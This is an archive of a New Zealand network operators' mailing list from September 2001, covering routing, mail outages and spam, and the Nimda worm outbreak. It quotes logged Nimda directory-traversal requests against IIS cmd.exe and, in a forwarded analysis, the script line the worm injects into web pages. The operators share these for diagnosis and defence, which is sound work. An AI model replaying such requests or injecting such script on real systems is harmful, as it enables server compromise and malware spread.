W32.Nimda.A(a)mm GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../ ..%c1%1c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir We're getting hit at about 72 hits per minute, mostly from 203.x.x.x Robbie Gernandt Network Consultant Wilson & Horton Ltd *************************************************************************** This may contain privileged and confidential information intended only for the use of the intended recipient. If you are not the intended recipient of this message, any use, dissemination, distribution or reproduction of this message is prohibited. Any views expressed in this message are those of the individual sender and may not necessarily reflect the views of Wilson & Horton Limited. For more information on Wilson & Horton please visit our web site at http://www.wilsonandhorton.co.nz ***************************************************************************

16 47

Update to ihug prefix list.
by Simon Lyall 20 Sep '01

20 Sep '01

For anyone peering with us I've just made an update to our current list of prefixes. The change is this one has been added: ip prefix-list ihug-networks seq 22 permit 202.37.187.0/24 Complete list should be: ip prefix-list ihug-networks seq 5 permit 202.36.94.0/23 le 24 ip prefix-list ihug-networks seq 10 permit 202.37.129.0/24 ip prefix-list ihug-networks seq 15 permit 202.37.136.0/24 ip prefix-list ihug-networks seq 20 permit 202.37.182.0/24 ip prefix-list ihug-networks seq 22 permit 202.37.187.0/24 ip prefix-list ihug-networks seq 25 permit 202.37.194.0/24 ip prefix-list ihug-networks seq 30 permit 202.49.59.0/24 ip prefix-list ihug-networks seq 35 permit 202.49.88.0/23 le 24 ip prefix-list ihug-networks seq 40 permit 202.49.148.0/23 le 24 ip prefix-list ihug-networks seq 45 permit 202.49.176.0/23 le 24 ip prefix-list ihug-networks seq 50 permit 202.49.180.0/23 le 24 ip prefix-list ihug-networks seq 55 permit 202.49.186.0/24 ip prefix-list ihug-networks seq 60 permit 202.49.240.0/22 le 24 ip prefix-list ihug-networks seq 65 permit 202.49.249.0/24 ip prefix-list ihug-networks seq 70 permit 202.49.252.0/22 le 24 ip prefix-list ihug-networks seq 75 permit 202.50.84.0/24 ip prefix-list ihug-networks seq 80 permit 202.50.103.0/24 ip prefix-list ihug-networks seq 85 permit 202.50.255.0/24 ip prefix-list ihug-networks seq 90 permit 203.109.128.0/17 le 24 ip prefix-list ihug-networks seq 95 permit 203.173.128.0/17 le 24 ip prefix-list ihug-networks seq 100 permit 210.55.184.0/24 ip prefix-list ihug-networks seq 105 permit 210.55.203.0/24 ip prefix-list ihug-networks seq 110 permit 210.55.248.0/21 le 24 Any problems please let me know. Simon. -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Fw: Bizarre moneygrubbing structure of ADSL charging
by Brian Gibbons 19 Sep '01

19 Sep '01

>From: "J S Russell" <jsr(a)jsr.com> >Looking at the figures on resource usages and costs vs margins and >turnover for adsl users, my bet is that most ISP's wouldn't give two shits >about them all leaving for a different product. >I was going to add a footnote here with an analysis of the bizarre, >moneygrubbing structure of ADSL charging by a certain large NZ telco, but >I realised I was preaching to the choir by doing so in _this_ mailing >list. I think you are wrong, no ISP has ever complained about margins and the ADSL charging structure on this list. What's so bizzare about it? --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

RE: [jim@cyberjunkees.com: Re: FW: Worm probes]
by Juha Saarinen 19 Sep '01

19 Sep '01

:: However, I firmly believe that if you are connected to a :: network outside :: your administrative control, you should treat it as a :: hostile environment, :: and protect your network (the network under your :: administrative control) :: accordingly. Sure, that's what anyone does, after five minutes of exposure to the Wild and Woolly Internet. ;-) The issue that I'm trying to raise is that even though my network is locked down tight, I'm still being bombarded by traffic that I don't want, and which terminates at my router, even though I reject/drop that traffic. So, I pay for that traffic. I think it would be a great PR move for ISPs to help their customers, who obviously don't have control over the upstream network, to ditch unwanted/hostile traffic further upstream. In the light of SirCam, Code Red Mk I and II, NIMDA, etc, it's becoming downright dangerous for your financial health to operate a Jetstream connection. A firewall and antivirus will only keep the local network clean; they can't do anything about incoming traffic. -- Juha --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

10 16

Cleaner for Nimda Virus
by Aaron Roydhouse 19 Sep '01

19 Sep '01

Thought people might like to have this handy. Luckily I haven't had to test it myself. Aaron. ----- Original Message ----- From: "Sheldon Koehler" <skoehler(a)tenforward.com> Sent: Thursday, September 20, 2001 6:28 AM Subject: Re: [imail] Nimda Virus > trend has a cleaner!!!! First test on a W95 was successful. NT is next... > > http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VNa me=PE_NIMDA.A --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Problem with Clear to ihug BGP session.
by Simon Lyall 18 Sep '01

18 Sep '01

Could someone at Clear please have a look at this, we had max prefixes set at 200 and it's gone through that, I bumped them to 1000 and it's over that as well. I guess somebody stuffed up their filters. 192.203.154.8 4 4768 178091 180817 0 0 0 03:17:57 Idle (PfxCt) 203.167.249.41 4 4768 177189 178948 0 0 0 03:17:40 Idle (PfxCt) All peering traffic is currently going via Netgate etc. I tried ringing a few clear numbers we had and non of the guys seemed able to look at the problem. I suggested email here and one agreeded. Anyway call our noc on 09 359 2708 if you need to talk to the duty guy here. -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

missing posts from nznog archives
by Joe Abley 18 Sep '01

18 Sep '01

The archives at http://list.waikato.ac.nz/archives/nznog seem to be truncated (at least for recent months). I was looking for a link to Lindsay Druett's message of August 6 about the final decommissioning of the NZIX, and couldn't find it. Is anybody else keeping archives on-line anywhere? Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 1

[jim@cyberjunkees.com: Re: FW: Worm probes]
by Joe Abley 18 Sep '01

18 Sep '01

Sorry for the lame cross-list fertilisation, but this seemed like a nice comprehensive summary. I'm getting hit by this big-time, here. ----- Forwarded message from Jim Olsen <jim(a)cyberjunkees.com> ----- Delivered-To: jabley-nanog(a)automagic.org Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Delivered-To: nanog(a)trapdoor.merit.edu Delivered-To: nanog(a)merit.edu From: Jim Olsen <jim(a)cyberjunkees.com> Reply-To: jim(a)cyberjunkees.com Organization: CyberJunkees To: "'nanog(a)merit.edu'" <nanog(a)merit.edu> Subject: Re: FW: Worm probes Date: Tue, 18 Sep 2001 14:03:52 -0400 X-Mailer: KMail [version 1.2.3] In-Reply-To: <F16E03C431B5D211893000104BC5C1A70BC168A3(a)powaymail.credco.firstam.com> Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog This is the information i've collected thus far on W32.nimda: W32.nimda is NOT a code red variant, and the people who referring to it as "Code Blue" were mistaken... The name it has been given (at least by TruSecure) is W32.nimda.a.mm. It uses several vulnerabilities in Windows NT and 2000 server's to infect a server, and also employ's email and web site mobile code to infect Windows 9x/ME/NT/2k boxes. During the initial infection of a server, the worm does the following: - download a file named "admin.dll" via tftp from the system that is trying to infect the target - add the guest account to the local administrators group and activates the account - makes sure c$ is shared out - copies itself to c, d, and e drives - tries to mail itself to email addresses that it discovers on the server - creates a file named readme.exe, which is used in the mobile code inserted on the web sites below - add this string to the web pages found on the server: <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html> - scans for and infects other vulnerable IIS servers - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) If a user views a web site that is hosted on an infected server, the following happens: - upon viewing an infected page, the mobile code extracts to readme.exe and starts in windows media player (without user intervention) - the user's machine becomes infected with W32.nimda at this point and time - the worm starts scanning for other vulnerable IIS servers - the worm emails itself to everyone on the user's address book - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogjan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) It us unknown to me what happens (at this point in time) if a user opens an attachment that is sent from an infected site. It is possible that it could automatically infect the user's computer using the same methods mentioned above. EVERYONE who uses internet explorer to browse the internet should probably do one of two things to stop from being automatically infected by W32.nimda (i have not tested whether or not turning off javascript fixes the problem): o) don't browse web pages until microsoft releases a patch o) turn OFF javascript EVERYONE who uses outlook/outlook express should, at the very least, not open any attachments that they are not expecting. Turning off auto-preview might be a good idea as well. Slashdot has an article discussing this: http://slashdot.org/articles/01/09/18/151203.shtml On Tuesday 18 September 2001 11:33, Braun, Mike wrote: > I received this warning from TruSecure regarding the latest worm attack. > > Mike Braun > First American CREDCO > > -----Original Message----- > TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm > > Date: September 18, 2001 > Time: 1000 EDT > > RISK INDICES: > > Initial Assessment: RED HOT > > Threat: VERY HIGH, (rapidly increasing) > > Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0, > 5.0, and internal networks. > > Cost: High, command execution is possible > > Vulnerable Systems: IIS 4.0 and 5.0 > > SUMMARY: > A new IIS worm is spreading rapidly. Its working name is Nimda: > W32.nimda.a.mm > > It started about 9am eastern time today, Tuesday,September 18, 2001, > Mulitple sensors world-wide run by TruSecure corporation are getting > multiple hundred hits per hour. And began at 9:08am am. > > The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for > multiple vulnerabilities including: > > Almost all are get scripts, and a get msadc (cmd.exe) > get_mem_bin > vti_bin owssvr.dll > Root.exe > CMD.EXE > ../ (Unicode) > Getadmin.dll > Default.IDA > /Msoffice/ cltreq.asp > > This is not code red or a code red variant. > > The worm, like code red attempts to infect its local sub net first, > then spreads beyond the local address space. > > It is spreading very rapidly. > > TruSecure believes that this worm will infect any IIS 4 and IIS 5 > box with well known vulnerabilities. We believe that there are > nearly 1Million such machines currently exposed to the Internet. > > Risks Indices: > Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of > Internet Web server hosts: TruSecure process and essential > configurations should generally be protective. The vulnerability > prevalence world-wide is very high > > Threat - VERY HIGH and Growing The rate of growth and spread is > exceedingly rapid - significantly faster than any worm to date and > significantly faster than any variant of Code red. > > Cost -- Unknown, probably moderate per infected system. > > > The worm itself is a file called > README.EXE, or ADMIN.DLL > a 56K file which is advertised as an audio xwave mime type file. > > Other RISKS: > There is risk of DOS of network segments by traffic volume alone > There is large risk of successful attack to both Internet exposed IIS > boxes and to developer and Intranet boxes inside of corporations. > > Judging by the Code Red II experience, we expect many subtle routes > of infection leading to inside corporate infections. > > We cannot discount the coincidence of the date and time of release, > exactly one week to (probably to the minute) as the World Trade > Center attack . > > > REPLICATION: > There are at least three mechanisms of spread: > The worm seems to spread both by a direct IIS across Internet (IP > spread) > It probably also spreads by local shares. (this is not known for > sure at this time) > There is also an email vector where README.EXE is sent via email to > numerous accounts. > > Mitigations > TruSecure essential practices should work. > Block all email with EXE attachments > Filter for README.EXE > Make sure IIS boxes are well patched and hardened, or removed from > both the Internet and Intranets. > Make sure any developer computing platforms are not running IIS of > any version (many do so by default if either. > Disconnect mail from the Internet > Advise users not to double click on any unexpected attachments. > Update anti-virus when your vendor has the signature. > > > -----Original Message----- > From: Bryan Heitman [mailto:bryanh(a)communitech.net] > Sent: Tuesday, September 18, 2001 8:22 AM > To: nanog(a)merit.edu > Subject: Re: Worm probes > > > > We're also seeing a large increase in this activity. This seems to be more > severe than the first time. Have an additional 30 to 40 meg inbound from > this. > > Best regards, > > > Bryan Heitman > CommuniTech.Net, Inc. > ----- Original Message ----- > From: <up(a)3.am> > To: <nanog(a)merit.edu> > Sent: Tuesday, September 18, 2001 10:05 AM > Subject: Re: Worm probes > > > ugh...this is way more impact...a 128k ISDN customer running an NT/Win2k > > box is at 100% BW, and my 2x T1's are at about 2x normal traffic for this > > time of day, although still well short of capacity...apache server > > processor load is WAY up just from the requests, and the logs are growing > > like mad. > > > > On Tue, 18 Sep 2001, deeann mikula wrote: > > > On Tue, 18 Sep 2001, ravi pina wrote: > > > > On Tue, Sep 18, 2001 at 09:54:31AM -0400, sigma(a)pair.com said at one > > point in time: > > > > > Has anyone else been seeing a dramatic increase in /scripts/.. NT > > worm > > > > > > probes this morning? We're seeing about 8000/second, starting > > around 9:15 > > > > > > Eastern time, to and from a wide variety of addresses. > > > > > > > > affirmative. i just looked at my logs, and it looks like > > > > each probe tries a bunch of things. i haven't seen much > > > > on the lists, but i'm looking right now. > > > > > > i'm pretty sure that the worm's attack phase starts on the 20th (which > > > of course, depends upon a correctly set system clock) and also that > > > attempting to execute something like /scripts/root.ext/c++ something > > > is involved. > > > > > > i think that cert's website would be a good place to look. i'm *not* > > > a security/virus chick, but i did host a talk by marty linder of cert > > > where he discected code red's activity and presented a summary. > > > > > > cert is of course, http://www.cert.org. > > > > > > > > > deeann m.m. mikula > > > > > > director of operations > > > telerama public access internet > > > http://www.telerama.com > > > 1.877.688.3200 > > > > James Smallacombe PlantageNet, Inc. CEO and Janitor > > up(a)3.am http://3.am > > ========================================================================= > > "MMS <firstam.com>" made the following > annotations on 09/18/01 08:34:15 > --------------------------------------------------------------------------- >--- "THIS E-MAIL MESSAGE AND ANY FILES TRANSMITTED HEREWITH, ARE INTENDED > SOLELY FOR THE USE OF THE INDIVIDUAL(S) ADDRESSED AND MAY CONTAIN > CONFIDENTIAL, PROPRIETARY OR PRIVILEGED INFORMATION. IF YOU ARE NOT THE > ADDRESSEE INDICATED IN THIS MESSAGE (OR RESPONSIBLE FOR DELIVERY OF THIS > MESSAGE TO SUCH PERSON) YOU MAY NOT REVIEW, USE, DISCLOSE OR DISTRIBUTE > THIS MESSAGE OR ANY FILES TRANSMITTED HEREWITH. IF YOU RECEIVE THIS > MESSAGE IN ERROR, PLEASE CONTACT THE SENDER BY REPLY E-MAIL AND DELETE THIS > MESSAGE AND ALL COPIES OF IT FROM YOUR SYSTEM." > > =========================================================================== >=== -- "Computer games don't affect kids, I mean if Pacman affected us as kids, we'd all be running around in darkened rooms, munching pills, and listening to repetitive music." ~unknown **** Jim Olsen Systems Administrator CyberJunkees **** ----- End forwarded message ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 4

OSPF Between Cisco and Ascend 6000
by Craig Whitmore 18 Sep '01

18 Sep '01

Hi there.. I am having trouble getting OSPF between Cisco's and Max6000. The Cisco's work ok with ospf, but the max can see the ospf routes advertised from the other Cisco's, but it cannot send out updates when someone connects to it. Anyone know where a Cisco<->Max OSPF Faq can be found (so I can get it working) Or maybe a Max4000/6000 Config that works from someone else? The Config are below: Cisco: router ospf 14 redistribute connected metric 1 metric-type 1 subnets redistribute static metric-type 1 subnets network x.x.x.x 0.0.0.15 area 14 Ascend: RUNOSPF=Yes Area=0.0.0.14 AreaType=Normal HelloInterval=10 DeadInterval=40 Priority=100 AuthType=None Cost=1 TransmitDelay=1 RestransmitInterval=5

4 4

nz bgp stat collection
by Joe Abley 14 Sep '01

14 Sep '01

I have been collecting bgp stats from a number of nz operators for some time, using a box located near the APE in Auckland. I am currently producing lists of unique prefixes, aggregates and ASNs in use within NZ (with some graphs showing growth), and am storing periodic snapshots of the RIB for analysis later on (e.g. for comparison with other measurements efforts elsewhere, to see how NZ is similar or different to global views of the network). If there is some interest, I could also add some looking-glass functionality, or maybe some open telnet access to the console similar to that at route-views.oregon-ix.net (assuming those that are feeding me routes are happy with that). Data is available at: http://maggie.automagic.org/ I currently have 9 BGP sessions to various operators, which includes views of all the major international transit providers (either directly or through their customers). I would like to add more, though, to make sure the picture I'm seeing is representative, and to keep it accurate in the event that individual sessions go down for some reason. All I need is a multi-hop bgp session from one of your routers to my router in the sky tower. I will never send you any prefixes; you can send me as many as you like (the more the better). If you're an operator that uses BGP to peer and obtain transit from other networks, and feel like helping, please drop me a line so we can set something up. Thanks! Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 4

Cisco 806 - anybody have a config for L2TP?
by Ben Martel 13 Sep '01

13 Sep '01

Hi all, I am looking for a working config for an 806 (IOS 12.2.2) that has it acting as a LAC. The issue I can't seem to resolve is whether IOS supports the instantiation of the tunnel without an inbound PPP session to trigger it. Essentially I want the router to boot and then make the L2TP tunnel to the LNAS all on its little lonesome. This interface will then become the default route interface. Anybody done it? TIA ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Carnivore revived
by Dean Pemberton 12 Sep '01

12 Sep '01

Can anyone with contacts in the US core give some more insight on this article? FBI agents arrived at core noderooms the other day with Carnivore units and offered to pay for links http://www.wired.com/news/politics/0,1283,46747,00.html --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 5

aussie-isp
by Phill Groom 12 Sep '01

12 Sep '01

For those poor souls who asked me how to subscribe to the Australia version of nznog, send mail to majordomo(a)koala.aussie.net with "subscribe aussie-isp" in the body (without the quotes!). I challenge you to last more than a day! Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

noise
by Phill Groom 12 Sep '01

12 Sep '01

G'day all, When I returned to Australia I re subscribed to the aussie-isp list. This was a huge mistake. The list is full of absolute garbage. The current topic seems to be whether or not Microsoft Flight Simulator would equip you with the skills to fly a large airplane into an even larger building. With only minor exceptions nznog has always been (at least for the two years that I was in NZ) used as a tool by cluefull New Zealand (and many ex NZ) network operators. There are obviously others hanging around, but comments are generally on topic and useful. Please don't let this list go the same way as the Australian one. If it does then I suggest that most network operators will probably take their comments to a private list and leave the crap for everyone else. Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

RE: Julian Angelo
by Simon Byrnand 12 Sep '01

12 Sep '01

At 05:33 PM 11/09/01 -0400, !Dr. Joe Baptista wrote: >On Wed, 12 Sep 2001, Philip Beckmann wrote: > >> All Matthew is doing is warning the rest of us that Julian is at it again. >> And rightly so. Get a life. > >You seem to be taking this personally philip. as the vendor of a service >to whoever this Julian Angelo he has no right to tell us anything. Read >my comments concerning the legal implications and educate yourself >accordingly. The fact that there is a privacy law further agreivates the >issue. Joe, Regardless of whether what Matthew did is right, (and I don't happen to have a problem with it) it is clear that you're just using this as yet-another-opertunity(tm) to troll this mailing list. I can't speak for others, but I for one am sick and tired of known trolls who go out of their way to provoke off-topic flamefests which have little if any relevance to the mailing list. I didn't subscribe to this mailing list to watch installments of the Joe Baptista vs nznog soap opera, but to keep in touch with issues relevant to the internet in NZ. Whether you like it or not, warning that a notorious spammer is back in action is relevant, and your diatribe is not. If Matthew gets in trouble for saying what he did, that's his problem, and its not for you to lecture him on the rights or wrongs of doing what he did. In the interests of minimizing offtopic flaming (which is your goal, after all) I won't be responding to any further replies or messages from you, and I urge others to do the same. Regards, Simon Byrnand (speaking for myself) iGRIN Internet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

US Terrorist Attacks
by Chris Wedgwood 12 Sep '01

12 Sep '01

As most of you will know my now, there have been a number of terrorist attacks in the US. All phone circuits over here are overloaded and email is about the only thing left working after popular new sites have collapsed under the load. Any communications to and from the East Cost of the US are suffering something terrible... email still works but thats about it for many places. Watching this live is truly chilling... --cw --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 6

Julian Angelo
by Matthew Poole 11 Sep '01

11 Sep '01

Gee, what a short period of reform. Following on from Messr Angelo's request that his "history" be removed from the archives of NZNOG, he's back again. With a vengance. i4free's abuse mailbox currently has about 26 e-mails in it, and at least 18 of them are regarding the latest spam campaign by NZ's most notorious e-mail figure. We're certainly looking forward to closing all his accounts. Again. NOT! -- Matthew Poole "Ever wondered why cemetaries raise the cost of burials then blame it on the cost of living?" --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

8 21

Re: Julian Angelo
by Mark Foster 10 Sep '01

10 Sep '01

Where the hell did that come from? As the person who did all of the closing of Julians accounts LAST time he did this over the I4free network, I know exactly what Matt is going on about. I dont see anything libelious in what Matthew has just said. Dont turn this into something its not. Its simply a case of Julian Angelo again shooting himself in the foot - libel is not libel when reported thruthfully. Lets not start a sparring match where one neednt be. Mark. At 02:02 11/09/2001 -0400, you wrote: >you should not be uttering this sort of spew on a public list - unless of >course you consider libel and slander charges against yourself and your >company to be a good thing. > >your expressing a certain amount of planned malice - and that don't look >right. > >regards >joe > > On Tue, 11 Sep 2001, Matthew Poole wrote: > > > > > Gee, what a short period of reform. > > Following on from Messr Angelo's request that his "history" be removed > > from the archives of NZNOG, he's back again. With a vengance. > > i4free's abuse mailbox currently has about 26 e-mails in it, and at least > > 18 of them are regarding the latest spam campaign by NZ's most notorious > > e-mail figure. > > We're certainly looking forward to closing all his accounts. Again. NOT! > > > > > >-- >Joe Baptista > >The dot.GOD Registry, Limited >The Executive Plaza, Suite 908 >150 West 51st Street Tel: 1 (208) 330-4173 >Manhattan Island NYC 10019 USA Fax: 1 (208) 293-9773 > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Raptor firewalls
by Brian Gibbons 10 Sep '01

10 Sep '01

>From: "Brodie Davis" <brodie.davis(a)voyager.co.nz> >As what that does is break the 3 way handshake for tcp >connections (it responds to a SYN with a ACK and a >incorrect acknoledgement number). >It(raptor) only behaves this way with the netscreen box, not with >my RH box sitting out in the wild. ( i have packet dumps of the traffic) Logic says that if you have a known good config and a broken config then compare the difference. What is the difference between the SYN packet from the RH box and the SYN packet from netscreen. Potential differences include TCP options, normally just MSS, but are there others? Source IP/Port? IP Options? ------ Hehe, how many years before we start seeing postings about "appliance problems" >Hi, is anyone else having weird problems talking to raptor firewalls. Hi, is anyone else having wierd problems with F&P SmartFridges >What is happening is that we are running netscreen firewalls (hardware >appliances) and we can't talk to any raptor firewall with its syn flood >protection on. What is happening is we are running Panasonic KXH-234 Set Top boxes connected to Sky, unfortunately everytime the user switches to the Sports channel the F&P SmartFridge pops up on screen to confirm an online order for three trays of Red :) Any clues? Cheers BG. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Raptor firewalls
by Brodie Davis 10 Sep '01

10 Sep '01

Hi, is anyone else having weird problems talking to raptor firewalls. What is happening is that we are running netscreen firewalls (hardware appliances) and we can't talk to any raptor firewall with its syn flood protection on. As what that does is break the 3 way handshake for tcp connections (it responds to a SYN with a ACK and a incorrect acknoledgement number). It(raptor) only behaves this way with the netscreen box, not with my RH box sitting out in the wild. ( i have packet dumps of the traffic) (i haven't had a chance to observe how it deals with PIX and checkpoint.) Is that traffic pattern an addition to the TCP standard or is it completly non standard coms. (I found rfc 0793/ STD0007 that defines what i expect, but i can't see any additions to the standard supporting the Axent/Symantic way). Anyone got any thoughts? Cheers, Brodie --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

mta.xtra.co.nz doesn't accept SMTP connects?
by Juha Saarinen 05 Sep '01

05 Sep '01

Noticed lots of mail to Xtra customers stuck in the mail queue on one of ours swervers... doesn't seem like mta.xtra.co.nz is working properly: $ telnet mta.xtra.co.nz. 25 Trying 203.96.92.132... telnet: connect to address 203.96.92.132: Operation timed out telnet: Unable to connect to remote host -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

14 31

radius diag command max6000
by John Lynch 05 Sep '01

05 Sep '01

Any one out there remember the command to put the max6000 into radius debug mode, did it a few weeks ago, now it's gone from my head ...... ?????? John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 5

Responses to Letter from ING
by David Farrar 04 Sep '01

04 Sep '01

I'm inquiring if any ISP or like body knows of any business who responded to ING's letter and either changed their mind or now wishes they changed their mind? TVNZ are doing an article on the letter and would like to be able to interview someone who was taken in by it or at the minimum who was going to take it up until they sought advice. Also any indications from ISPs as to how many calls they have recived about the letter would be useful. If you know of anyone can you pass on their contact details to me or alternatively get them to contact me by e-mail or on 04 471 9353, preferably by midday tomorrow. Ta DPF --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

clear.co.nz seems to be rejecting mail
by Dan Langille 04 Sep '01

04 Sep '01

FWIW: it appears that Clear are rejecting mail to clear.co.nz but not to clear.net.nz: ----- The following addresses had permanent fatal errors ----- <postmaster(a)clear.co.nz> ----- Transcript of session follows ----- ... while talking to kakapo.clear.co.nz.: >>> DATA <<< 554 SPAM-Relay detected 554 <postmaster(a)clear.co.nz>... Service unavailable I've emailed postmaster(a)clear.net.nz but just in case mail start building up on your servers, you know why.. -- Dan Langille - DVL Software Limited FreshPorts - http://freshports.org/ - the place for ports --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: mta.xtra.co.nz doesn't accept SMTP connects?
by Greg Clare 03 Sep '01

03 Sep '01

hmmm... an analogy is perhaps called for... Customer: Arrrgh, my telephone is dead! Telecom (in a publicly posted statement): Technicians are currently working on this issue. Customer: If they knew my telephone was dead, why the F@#&! didn't they phone and tell me??? > -----Original Message----- > From: Nicholas Lee [mailto:nj.lee(a)plumtree.co.nz] > Sent: Tuesday, 4 September 2001 2:58 pm > To: Mark Foster > Cc: Nznog(a)List. Waikato. Ac. Nz > Subject: Re: mta.xtra.co.nz doesn't accept SMTP connects? > > On Tue, Sep 04, 2001 at 01:40:24PM +1200, Mark Foster wrote: > > > > For NZ's Biggest ISP theyre remarkably quiet... > > Maybe because they aren't getting any mail? > > Nicholas > --------- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: mta.xtra.co.nz doesn't accept SMTP connects?
by Ewen McNeill 03 Sep '01

03 Sep '01

In message <21773.999569321(a)daedalus.co.nz>, Don Stokes writes: >Mark Foster <blakjak(a)blakjak.net> wrote: >>Simons Idea of setting up some servers as Secondary MX isnt a silly idea >>but I need to ask the questions: > >Actually, secondary MXs usually are a silly idea, if the MX can't >actually do anything useful with the mail apart from queuing it. All >they do is take a whole bunch of mail that would otherwise queue at the >client end mail server, and put them in one big queue. Secondary MXes (that can only queue and attempt onward delivery) are about "concentration of pain"; instead of the pain being spread across all the mail servers trying to deliver to the one that is down, it's concentrated in the secondary MX(es). This concentration of pain was more useful in the days when there were quite a few slow, not always up, links trying to deliver mail (especially dial-on-demand type links; uucp tended to be smarthosted once things got to a point that it mattered). Now that the common mode of mail delivery is basically two tier (clients deliver to their ISP's smart host, that smarthost is always connected and "easily" able to retry the mail often enough") there's less advantage in concentrating the pain. Especially weighed against some of the disadvantages you mention (eg, don't get "trouble sending" bounces early if sender end has low timeouts on those, but secondary MX doesn't). Except perhaps when the pain lasts a long time (hours, if not days), and causes a fair amount of trouble to a lot of people/mail servers. Like Xtra at the moment from what I've seen on nznog. BTW, has anyone considered that the reason that no one from Xtra has spoken up is that their outgoing mail is having trouble as well as their incoming mail? :-) Ewen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Re: mta.xtra.co.nz doesn't accept SMTP connects?
by Simon Byrnand 03 Sep '01

03 Sep '01

At 02:26 PM 4/09/01 +1200, Simon Lyall wrote: >On Tue, 4 Sep 2001, Don Stokes wrote: >> Most mailers have a hard time with huge queues of undeliverable mail, so >> such an MX is not going to be as efficient at dealing with the backlog >> when the primary comes back up as just leaving the mail where it is on >> client servers. > >The thing is it moves the load from our smtp servers (which last time I >looked had a lot of undelived emails for xtra customers) onto a machine >run by Xtra. Due to the amount of queued email on our servers we have had >to start taking actions to prevent delays of email to other sites. Yup. Not having a backup MX makes xtra's problem everyone elses problem instead. >You can also optimise the backup MX server for dealing with a large queue >to a single destination rather than a constrant stream of email to many >destinations. There are also other tricks you can run depending on your >mail software and network setup. Not to mention that mail servers around the country trying to connect to xtra's all the time wastes other peoples bandwidth. With a backup MX the mail queuing and retrying would be occuring between their backup and primary MX which in all likelyhood would be internal traffic (perhaps even on the same switched ethernet) rather than over national links. Dequeuing when the 